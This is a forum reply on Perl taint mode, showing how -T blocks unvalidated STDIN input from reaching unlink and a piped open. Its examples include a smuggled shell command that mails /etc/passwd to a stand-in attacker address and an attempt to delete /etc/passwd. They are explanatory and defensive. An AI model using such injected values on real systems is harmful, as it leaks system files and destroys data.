It's dangerous because it comes from a dirty, untrustworthy, malicious creature (i.e. the user). They can feed in anything they want on STDIN: 

$ perl -T -le 'chomp(my $foo = <STDIN>);unlink( $foo ) or die "unlink:
+ $!\n";'      
/etc/passwd
Insecure dependency in unlink while running with -T switch at -e line 
+1, <STDIN> line 1.
$ perl -T -le '$ENV{PATH}="/bin:/usr/bin"; chomp(my $foo = <STDIN>);op
+en( FOO, $foo ) or die "unlink: $!\n";'
mail blackhat@evilhaxor.org -s `uname -n` < /etc/passwd ; cat /dev/nul
+l |
Insecure dependency in piped open while running with -T switch at -e l
+ine 1, <STDIN> line 1.

[download]

If you want to allow this, you have to explicitly validate (by means of some form of untainting) the input; and on your head be it if you do it wrong.

Update: And as to your question about -t STDIN, that shouldn't be a problem because it's testing a property of the handle not using any input from the handle. 

$ perl -T -le 'print "tty" if -t STDIN'
tty

[download]

In reply to Re^5: Insecure dependency in open by Fletch
in thread Insecure dependency in open by argv

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